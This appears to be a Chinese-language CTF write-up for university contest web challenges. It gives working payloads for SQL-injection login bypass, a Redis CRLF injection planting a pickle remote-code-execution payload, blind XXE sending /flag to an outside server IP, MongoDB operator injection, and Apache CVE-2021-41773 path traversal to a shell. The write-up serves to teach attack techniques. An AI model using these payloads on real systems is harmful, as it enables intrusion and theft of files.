高校运维赛WEB部分-gxngxngxn

news/2024/5/19 20:20:50

高校运维赛WEB部分-gxngxngxn

phpsql

利用万能密码登录

admin/""="a'='a

登录进后台后得到flag

pyssrf

访问/source可以得到源码

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)def get_result(url):url_key=hashlib.md5(url.encode()).hexdigest()res=redis.get(url_key)if res:return pickle.loads(base64.b64decode(res))else:try:print(url)info = urllib.request.urlopen(url)res = info.read()pickres=pickle.dumps(res)b64res=base64.b64encode(pickres)redis.set(url_key,b64res,ex=300)return resexcept urllib.error.URLError as e:print(e)@app.route('/')
def hello():url = request.args.get("url")return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1><h2>Here is your result</h2><h3>source code in /source</h3>%s''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')@app.route('/source')
def source():return 

我们可以看到这里会将我们输入的urlmd5加密后存入redis中,然后从redis中获取对应的键值,如果存在就将这个值pickle反序列化,那么思路很明确了,我们如果能控制对应的值就行

urllib.request.urlopen我们看到存在这么一个函数来对url进行处理,那么这个函数有个漏洞CVE-2019-9947,可以实现crlf

所以我们就可以利用crlf来实现对redis键值的自定义

先发送?url=127.0.0.1:6379,拿到他的md5加密值:cbdecc92165b29374b6b62cca016d4f8

然后利用crlf来实现赋值

import os
from requests import Request, Session
import pickle
import base64
from flask import render_template
class A():def __reduce__(self):return (exec, ("raise Exception(__import__('os').popen('cat /flag').read())",))a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

这里不出网,但是开启了debug模式,就直接利用debug的报错就行。

payload:

?url=127.0.0.1:6379?%0D%0Aset%20%22cbdecc92165b29374b6b62cca016d4f8%22%20%22gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4=%22%0D%0Apadding

fileit

xxe无回显外带

POST / HTTP/1.1
Host: prob12-azy7prmt.contest.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: anticheat_canary=hyejvkeqrj
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/xml
Content-Length: 180<!DOCTYPE root[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % dtd SYSTEM "http://81.70.252.29/1.dtd">%dtd;%all;%send;
]>

在vps上放一个1.dtd文件

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://81.70.252.29/?f=%file;'>">

发包以后看日志,成功接收到flag

base64解密即可

Messy Mongo

import { Hono } from 'https://deno.land/x/hono@v4.3.0/mod.ts'
import { serveStatic, jwt } from 'https://deno.land/x/hono@v4.3.0/middleware.ts'
import { sign } from 'https://deno.land/x/hono@v4.3.0/utils/jwt/jwt.ts'
import { MongoClient } from 'npm:mongodb@6.6.0'
import { randomBytes } from 'node:crypto'
import assert from 'node:assert'function createToken(length: number) {return randomBytes(length).toString('hex')
}const secret = createToken(32)const client = new MongoClient('mongodb://127.0.0.1:27017')
await client.connect()
const db = client.db('messy')interface User {_id: stringusername: stringpassword: string
}
const users = db.collection<User>('users')interface Todo {_id: stringuser: stringtitle: stringcompleted: boolean
}
const todos = db.collection<Todo>('todos')const app = new Hono()app.use('/', serveStatic({ root: './static' }))app.post('/api/login', async (c) => {const { username, password } = await c.req.json()assert(typeof username === 'string')assert(typeof password === 'string')const user = await users.findOne({ username, password })assert(user)const token = await sign({ user: user.username }, secret)return c.json({ token })
})app.use('/api/*', jwt({ secret }))app.patch('/api/login', async (c) => {const { user } = c.get('jwtPayload')const delta = await c.req.json()const newname = delta['username']assert.notEqual(newname, 'admin')await users.updateOne({ username: user }, [{ $set: delta }])if (newname) {await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])}return c.json(0)
})app.get('/api/todo', async (c) => {const { user } = c.get('jwtPayload')const list = await todos.find({ user }).toArray()return c.json(list)
})app.post('/api/todo', async (c) => {const { user } = c.get('jwtPayload')const { title } = await c.req.json()assert(typeof title === 'string')await todos.insertOne({ _id: createToken(16), user, title, completed: false })return c.json(0)
})app.get('/api/todo/:id', async (c) => {const { user } = c.get('jwtPayload')const todo = await todos.findOne({ _id: c.req.param('id'), user })return c.json(todo)
})app.patch('/api/todo/:id', async (c) => {const { user } = c.get('jwtPayload')const delta = await c.req.json()assert(!('_id' in delta))assert(!('user' in delta))const { matchedCount } = await todos.updateOne({ _id: c.req.param('id'), user }, [{ $set: delta }])assert(matchedCount)return c.json(0)
})app.delete('/api/todo/:id', async (c) => {const { user } = c.get('jwtPayload')const { deletedCount } = await todos.deleteOne({_id: c.req.param('id'),user})assert(deletedCount)return c.json(0)
})Deno.serve({ hostname: '0.0.0.0', port: 1898 }, app.fetch)

一眼MongoDB框架,进行代码审计

看到这段逻辑这里验证了jwtPayload的值,而且获取username,但是没验证password,有很明显的注入点,我们抓个包看看

app.patch('/api/login', async (c) => {const { user } = c.get('jwtPayload')const delta = await c.req.json()const newname = delta['username']assert.notEqual(newname, 'admin')await users.updateOne({ username: user }, [{ $set: delta }])if (newname) {await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])}return c.json(0)
})

先获取token值

带上token以PATCH的形式访问/api/login

成功修改用户名,那么现在只需要我们修改用户名为admin就行,但是这里限制了不能直接写admin,我们需要运用MongoDB的运算符来操作

运用字符串截取:

{"username":{"$substr":["gxnadmin",3,5]}}

成功修改为admin,登录即可得到flag

Apache

CVE-2021-41773 Apache HTTP Server 路径穿越

import urllib.parsedata = """POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 15echo; cat /flag"""
url_encoded_data = urllib.parse.quote(data)print(url_encoded_data.replace('/','%2f'))

找个数据包,url加密后直接传

POST /nc HTTP/1.1
Host: prob01-f3fqw8p3.contest.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: anticheat_canary=hyejvkeqrj
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 768port=80&data=POST%20%2Fcgi-bin%2F.%252e%2F.%252e%2F.%252e%2F.%252e%2Fbin%2Fsh%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Length%3A%207%0APragma%3A%20no-cache%0ACache-Control%3A%20no-cache%0AUpgrade-Insecure-Requests%3A%201%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F124.0.0.0%20Safari%2F537.36%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Favif%2Cimage%2Fwebp%2Cimage%2Fapng%2C*%2F*%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.7%0AAccept-Encoding%3A%20gzip%2C%20deflate%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0AConnection%3A%20close%0A%0Aecho%3Bid

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/28867.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

大营销抽奖系统,DDD开发要如何建模?

作者:小傅哥 博客:https://bugstack.cn沉淀、分享、成长,让自己和他人都能有所收获!😄大家好,我是技术UP主小傅哥。 👨🏻‍💻 经过5.1假期的一顿框框输出,终于完成了《大营销项目》第二阶段的开发和上线,体验地址:https://gaga.plus 有了这个项目的落地,也终于…

WPF 从键盘事件 KeyEventArgs 里获取 Scan Code 的方法

本文将告诉大家如何在 WPF 里面,从键盘事件 KeyEventArgs 参数里获取到 Scan Code 键盘按键的设备独立标识符的方法概念: 以下来自 bing 的答案 键盘的 Scan Code 是按键的设备独立标识符,对应于按键在硬件上的实际标识。每个按键都有一个唯一的扫描码,用于表示该按键。当用…

worldclim 当前时期的生物气候变量数据存在的问题

bio2,3,4,6,7,9,12,13,14, 15,16,17,18,19 在格陵兰岛存在显著问题如下: 有明显的分割线。

读天才与算法:人脑与AI的数学思维笔记20_数学图灵测试

读天才与算法:人脑与AI的数学思维笔记20_数学图灵测试1. 数学图灵测试 1.1. 能不能将这种计算机证明语言翻译成易于与人交流的方式呢? 1.1.1. 剑桥大学的两位数学家蒂莫西高尔斯(Timothy Gowers)和莫汉加内萨林加姆(Mohan Ganesalingam)开展了此项研究 1.1.1.1. 他们决定…

EPYC 9B14(最强 Zen4 EPYC 2.6GHz 96c)简要上手感受

[CPU] EPYC 9B14(最强 Zen4 EPYC 2.6GHz 96c)简要上手感受 [复制链接] zlcrxp电梯直达 1# 发表于 2024-1-31 08:43 | 只看该作者 |只看大图 本帖最后由 zlcrxp 于 2024-1-31 16:47 编辑近期看到海鲜市场有EPYC 9B14,于是入手了一颗,由于入手时间比较短,目前先提供一些基本…

HTTP协议相关文档

HTTP The Hypertext Transfer Protocol (HTTP) is an application-level protocol for distributed, collaborative, hypermedia information systems. bing.com 翻译: 超文本传输协议 (HTTP) 是用于分布式的、协作的、超媒体信息系统的 应用程序级协议。IETF Internet Engi…

Learning GitHub Actions Automation and Integration of CI/CD with GitHub【7】

CHAPTER 7 Managing Data Within Workflows 今天,很少有人用一个工作或项目来完成一套完整的工作。考虑一个典型的CI/CD管道。 你通常会有一个做建筑的工作,一个做包装的工作,多个做测试的工作,等等。 但即使这些都是单独的作业,它们仍然需要能够在它们之间传递数据和文件…

Learning GitHub Actions Automation and Integration of CI/CD with GitHub【8】

CHAPTER 8:Managing Workflow Execution 根据定义,GitHub操作工作流更多的是声明性的,而不是命令式的。 这意味着,您不是编写定义如何完成任务的编程逻辑,而是主要通过声明要使用的triggers、jobs、steps和runners来创建工作流。 并且,对于每个步骤,您将定义运行哪些操作…